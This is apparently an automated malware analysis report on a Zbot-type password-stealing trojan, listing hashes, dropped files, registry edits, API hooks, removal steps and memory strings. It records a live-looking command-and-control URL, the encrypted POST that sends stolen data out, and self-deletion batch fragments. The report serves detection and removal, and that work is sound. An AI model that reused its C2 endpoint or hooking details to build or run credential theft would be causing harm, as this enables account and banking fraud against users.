Trojan.Win32.Buzus.onfb (Kaspersky), Trojan.GenericKD.1660008 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 1ee34c240696ca9b8e9049d82670be39
SHA1: 742eabdb1e2b56e673b53ba416b572f9c925f059
SHA256: 5b2fc18e71198bc0df219fd13dd88aa84d0618b276cd5b11cc14e15e7cc99a3d
SSDeep: 24576:9RmJkcoQricOIQxiZY1ia5XFCUXxMFfiLvVYe0KhYT3wOH3F:yJZoQrbTFZY1ia5XFCG4q9Ye0P3Z
Size: 1300069 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: QuickSet
Created at: 2012-01-29 23:32:28
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan-PSW creates the following process(es):
owny.exe:1536
owny.exe:1124
%original file name%.exe:1804
%original file name%.exe:1296
The Trojan-PSW injects its code into the following process(es):
Explorer.EXE:1284
File activity
The process %original file name%.exe:1296 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\Yfuw\owny.exe (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpc33d9458.bat (177 bytes)
Registry activity
The process owny.exe:1536 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB 1A BD DD E6 24 05 53 53 46 4C F2 52 82 E2 BB"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
The process owny.exe:1124 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 2B 1B 1D DB 65 EA ED B9 48 BC BE DF 49 26 E8"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
The process %original file name%.exe:1804 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 A1 60 FE D6 2B 0A 2A 57 9A 30 3E 95 86 7D C5"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
The process %original file name%.exe:1296 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 69 CE 76 F3 F9 1F D7 CD 78 89 23 DE 7D 0C 65"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
Dropped PE files
MD5 | File path |
---|---|
a31330a08021c12a20cd6551854ad2e0 | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Yfuw\owny.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan-PSW installs the following user-mode hooks in WININET.dll:
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan-PSW installs the following user-mode hooks in USER32.dll:
SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC
The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:
WSASend
send
closesocket
The Trojan-PSW installs the following user-mode hooks in kernel32.dll:
GetFileAttributesExW
The Trojan-PSW installs the following user-mode hooks in ntdll.dll:
LdrLoadDll
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
owny.exe:1536
owny.exe:1124
%original file name%.exe:1804
%original file name%.exe:1296 - Delete the original Trojan-PSW file.
- Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Application Data\Yfuw\owny.exe (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpc33d9458.bat (177 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: Language Neutral
Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 525852 | 526336 | 4.63347 | 61ffce4768976fa0dd2a8f6a97b1417a |
.rdata | 532480 | 57280 | 57344 | 3.32693 | 0354bc5f2376b5e9a4a3ba38b682dff1 |
.data | 589824 | 108376 | 26624 | 1.49032 | 8033f5a38941b4685bc2299e78f31221 |
.rsrc | 700416 | 198624 | 198656 | 4.78043 | 374b7109a16ac7f59e108ddacbe16766 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://www.google.com/webhp | 74.125.226.243 |
hxxp://www.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA | 74.125.226.248 |
hxxp://204.188.238.143/follow/metro/admin/1/secure.php |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Cache-Control: no-cache
Host: VVV.google.ca
HTTP/1.1 200 OK
Date: Sun, 04 May 2014 08:58:22 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=db6012491f6db4a9:FF=0:TM=1399193902:LM=1399193902:S=_2sYRl7icS3lY1RQ; expires=Tue, 03-May-2016 08:58:22 GMT; path=/; domain=.google.ca
Set-Cookie: NID=67=uaB9EUg4GBuRMwJBZdi1Q06zejHSJ2P3y_MEK8xZah8dpl0i9n_vMq58y5TjctpUBe4gZP0Wk_ZD6XermJdvnNtEFBoHPYw3WBzQnBLziFs0jc51xqeXqLXgUIQCLc2j; expires=Mon, 03-Nov-2014 08:58:22 GMT; path=/; domain=.google.ca; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
<!doctype html><html itemscope="" itemtype="hXXp://schema.org/WebPage" lang="en-CA"><head><meta content="text/html; charset=UTF-8" http-equiv="content-type"><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){.window.google={kEI:"LgFmU_b-K6ngsASE8oCYDw",getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI},https:function(){return"https:"==window.location.protocol},kEXPI:"25657,4000116,4007661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,4011228,4011258,4011679,4012373,4012504,4012508,4012860,4013374,4013414,4013591,4013723,4013758,4013787,4013823,4013941,4013967,4013979,4014016,4014093,4014431,4014515,4014636,4014671,4014789,4014810,4014813,4014991,4015119,4015155,4015234,4015260,4015519,4015550,4015587,4015635,4015638,4015639,4015772,4016005,4016090,4016096,4016127,4016309,4016363,4016367,4016373,4016391,4016452,4016466,4016487,4016638,4016703,4016730,4016786,4016800,4016815,4016824,4016855,4016933,4016978,4017042,4017055,4017206,4017280,4017284,4017294,4017336,4017556,4017590,4017639,4017643,4017706,4017710,8300015,8300017,8500165,8500222,8500240,8500252,8500264,8500306,8500314,8500323,8500332,8500364,10200002,10200012,10200029,10200038,10200040,10200048,10200053,10200055,10200066,10200083,10200120,10200134,10200136,10200155,10200157,10200159,10200164,10200176,10200211,10200215,10200221,10200224,10200226,10200228,10200231,10200236,10200242
<<
<<< skipped >>>
GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com
Cache-Control: no-cache
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA
Content-Length: 263
Date: Sun, 04 May 2014 08:58:22 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA">here</A>...</BODY></HTML>....
POST /follow/metro/admin/1/secure.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: salesadvert.com
Content-Length: 262
Connection: Keep-Alive
Cache-Control: no-cache
.......D#Yh............p.}C./O..p...h.q...D.....b..>TQ.._.....l.7fJ.@ q..VE..........wx...\......*..(_8........r.9..Y>...3,w3.....y...K.r.........O.;W1z:..aC.....Z.f5.j...e7.?.O..z...Sbs1...Y....l..4-M...r..Xt....]x6.....I.V`o='.YC...... ...g.D.~....A..\U..h.EU
HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Sun, 04 May 2014 08:58:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.17
40...xw..g|..0(. Z.l.x..`.0.......r..U.............To.GU...zW.Z...P...0......
Map
Strings from Dumps
Explorer.EXE_1284_rwx_00A70000_00027000:
.text
.text
`.data
`.data
.reloc
.reloc
PR_OpenTCPSocket
PR_OpenTCPSocket
http://www.google.com/webhp
http://www.google.com/webhp
gdiplus.dll
gdiplus.dll
GdiplusShutdown
GdiplusShutdown
ole32.dll
ole32.dll
gdi32.dll
gdi32.dll
<;.8("9`%,/
<;.8("9`%,/
,127!' ./9
,127!' ./9
5/ -?9/#$
5/ -?9/#$
./.-#**:
./.-#**:
6 !26!1'1
6 !26!1'1
7"52),,>
7"52),,>
, >(3=2;
, >(3=2;
<7!="?):
<7!="?):
&;1"&1!7!1
&;1"&1!7!1
;1 "?&! ?
;1 "?&! ?
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
7.>.3; `
7.>.3; `
1:,0/2$7
1:,0/2$7
?$6 39 ~
?$6 39 ~
HTTP/1.1
HTTP/1.1
http://
http://
https://
https://
HTTP/1.
HTTP/1.
userenv.dll
userenv.dll
del "%s"
del "%s"
if exist "%s" goto d
if exist "%s" goto d
del /F "%s"
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
urlmon.dll
cabinet.dll
cabinet.dll
SSShlD
SSShlD
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
OpenWindowStationW
OpenWindowStationW
GetProcessWindowStation
GetProcessWindowStation
CreateWindowStationW
CreateWindowStationW
CloseWindowStation
CloseWindowStation
SetProcessWindowStation
SetProcessWindowStation
GetKeyboardState
GetKeyboardState
MapVirtualKeyW
MapVirtualKeyW
SetKeyboardState
SetKeyboardState
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
USER32.dll
USER32.dll
RegOpenKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegEnumKeyExW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
ADVAPI32.dll
ADVAPI32.dll
PathIsURLW
PathIsURLW
UrlUnescapeA
UrlUnescapeA
SHDeleteKeyW
SHDeleteKeyW
SHLWAPI.dll
SHLWAPI.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
Secur32.dll
Secur32.dll
SetViewportOrgEx
SetViewportOrgEx
GDI32.dll
GDI32.dll
WS2_32.dll
WS2_32.dll
PFXImportCertStore
PFXImportCertStore
CertDeleteCertificateFromStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertOpenSystemStoreW
CertCloseStore
CertCloseStore
CertEnumCertificatesInStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXExportCertStoreEx
CRYPT32.dll
CRYPT32.dll
HttpSendRequestExA
HttpSendRequestExA
HttpQueryInfoA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestW
HttpSendRequestA
HttpSendRequestA
GetUrlCacheEntryInfoW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
HttpAddRequestHeadersA
InternetCrackUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpOpenRequestA
WININET.dll
WININET.dll
OLEAUT32.dll
OLEAUT32.dll
NETAPI32.dll
NETAPI32.dll
G'%d#a
G'%d#a
>">->3>?>
>">->3>?>
5S5C5N5Z5
5S5C5N5Z5
nspr4.dll
nspr4.dll
cGlobal\XXX
cGlobal\XXX
SysShadow
SysShadow
e.dat
e.dat
kernel32.dll
kernel32.dll
"%s" %s
"%s" %s
/c "%s"
/c "%s"
%sx.%s
%sx.%s
%sx
%sx
%Documents and Settings%\%current user%\Application Data\Ahbez\wyehe.uwr
%Documents and Settings%\%current user%\Application Data\Ahbez\wyehe.uwr
%Documents and Settings%\%current user%\Application Data\Ahbez
%Documents and Settings%\%current user%\Application Data\Ahbez
wyehe.uwr
wyehe.uwr
Global\{09A9BAE5-9F8D-3BBC-1572-5B360B7E8651}
Global\{09A9BAE5-9F8D-3BBC-1572-5B360B7E8651}
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Application Data
{9FD208C0-2DA8-ADC7-1572-5B360B7E8651}
{9FD208C0-2DA8-ADC7-1572-5B360B7E8651}